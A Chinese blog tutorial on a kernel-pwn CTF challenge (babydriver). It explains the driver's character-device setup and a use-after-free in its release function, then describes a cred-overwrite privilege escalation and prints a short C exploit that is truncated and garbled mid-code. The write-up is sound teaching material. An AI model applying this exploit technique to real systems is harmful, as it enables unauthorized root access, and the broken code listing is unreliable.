点击蓝字
关注我们
前言这边选择的例题还是baby driver,感觉做这道题的时候有种梦回第一道栈溢出题目的感觉。但是网上很多资料讲解本题时关于字符驱动这块并没有讲解,也就造成了我一开始做这道题目的时候仅仅是照着网上的WP复现了一下并没有做到真正读懂这道题,所以这篇博客除了UAF的内容还会留出一些篇幅给字符驱动设备上。
相关文章Kernel pwn 基础教学之 Kernel ROP
1、题目分析kernel pwn给出的附件不再是原先的Binary和libc,其附件中给出的文件如下所示
boot.sh --> 启动脚本
rootfs.cpio --> 文件系统,可以从init文件中发现
bzImage --> 压缩后的内核文件,可以使用extract_vmlinux+vmlinux_to_elf从中提取出vmlinux内核文件
首先我们解压rootfs.cpio,并查看init文件内容
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
可以看到在启动脚本里有一个加载模块的命令insmod,而这个ko文件就是我们需要分析的二进制文件。使用ida打开它可以看到里面的函数并不算多,咱们一个个来看。
babydriver_init首先使用alloc_chrdev_region函数动态获取了一个驱动号,然后初始化了cdev结构体,在linux中通过cdev结构体来表示一个字符设备,并使用cdev_add函数添加(注册)了字符设备,执行成功后使用_class_create函数创建相应的class,然后通过device_create函数添加设备。这里我一开始理解的时候存在一些疑问,既然在linux中是通过cdev来表示一个字符设备的,那么class存在的意义是什么?后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs,而class的意义便是创建设备节点,sysfs通过class_create和device_create在设备树中创建相应的设备,应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev_init和cdev_add添加字符设备以后需要手动创建设备节点,而现在则是通过使用_class_create与device_create函数往sysfs中完成设备节点创建的任务。
与init对应的便是exit,这个函数的任务就是将我们刚才所创建的东西全部回收。
通过kmem_cache_alloc_trace函数开辟0x40的空间给babydev_struct的device_buf成员,在这里我们可以注意到babydev_struct是一个全局变量,并且其中存在buf与buf_len两个成员变量。
baby_read
首先会判断device_buf与device_buf_len,然后通过copy_to_usr函数将length长度的内容从device_buf读入到buffer中
babywrite
通过copy_from_user函数将length长度的内容从buffer读入device_buf
babyioctl
当我们指定的command为0x10001时会释放掉原先的buf,然后kmalloc申请指定大小的内存空间。
babyrelease
kfree释放buf但是没有置空存在UAF漏洞
三、漏洞利用
经过刚才的分析我们了解到结构体babydev_struct结构体为全局变量,并且程序在close的时候没有置空指针,造成了UAF漏洞。所以我们可以在一个进程中同时open两次babydev分别记作fd1和fd2,此时device_buf中的地址为fd2_device_buf的内存空间,而我们关闭fd1以后fd2的buf空间被释放,但是我们依然可以通过fd2进行写入。我们利用内核内存管理机制通过fork一个子进程时将cred落在fd2_device_buf上,fork出的子进程cred与父进程一致,当我们对fd2_device_buf进行写入操作也就是对子进程的cred进行操作。但是原始开辟的空间大小是0x40,所以我们在关闭fd1之前需要通过ioctl将device_buf的大小改成和cred结构体大小一样,这样在我们fork一个子进程的时候cred便会落在我们可控的内存上,将子进程的uid修改为0即可完成提权。
EXP:#include
#include
#include
#include
#include
#include
int main(){
int fd_1 = open("/dev/babydev", 2);
int fd_2 = open("/dev/babydev", 2);
ioctl(fd_1, 0x10001, 0xa8);
close(fd_1);
int pid = fork();
if (pid rootfs.cpio
执行boot.sh启动qemu
网安讲堂第三期|二进制学习路线详解(复制链接开始学习)
https://www.hetianlab.com/expc.do?ec=ECID0b93-62ed-4dd4-ad6c-620e1361d4a6&pk_campaign=weixin-wemedia#stu
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!
体验靶场实操,戳“阅读原文”体验